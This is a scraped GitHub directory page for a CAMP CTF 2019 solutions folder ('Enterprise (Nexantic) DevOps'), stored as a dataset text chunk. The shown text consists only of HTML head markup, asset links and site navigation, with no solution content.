text_chunk
stringlengths 151
703k
|
---|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CC6C:8CC1:157AFEEC:161BD506:6412244D" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0c1b9faa477c622789eed06a0d40ea7997ded48ca80aa590692979288f7c10fb" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQzZDOjhDQzE6MTU3QUZFRUM6MTYxQkQ1MDY6NjQxMjI0NEQiLCJ2aXNpdG9yX2lkIjoiOTMxMjk0Mjc0NjE5ODQzNjYxIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="d3cb2a18fcc872f15269eafcaa214814db0f821c1e524891319440086ca473f8" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:205657999" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f49188fdbc81ad6deb2306cd97e69ebd065c1ba4e3f7cd26478c7058bd4c13b6/OlfillasOdikno/CAMP-CTF-2019" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019" /><meta name="twitter:description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f49188fdbc81ad6deb2306cd97e69ebd065c1ba4e3f7cd26478c7058bd4c13b6/OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:image:alt" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:url" content="https://github.com/OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/OlfillasOdikno/CAMP-CTF-2019 git https://github.com/OlfillasOdikno/CAMP-CTF-2019.git">
<meta name="octolytics-dimension-user_id" content="19648539" /><meta name="octolytics-dimension-user_login" content="OlfillasOdikno" /><meta name="octolytics-dimension-repository_id" content="205657999" /><meta name="octolytics-dimension-repository_nwo" content="OlfillasOdikno/CAMP-CTF-2019" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="205657999" /><meta name="octolytics-dimension-repository_network_root_nwo" content="OlfillasOdikno/CAMP-CTF-2019" />
<link rel="canonical" href="https://github.com/OlfillasOdikno/CAMP-CTF-2019/tree/master/solutions/Enterprise%20(Nexantic)%20DevOps" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
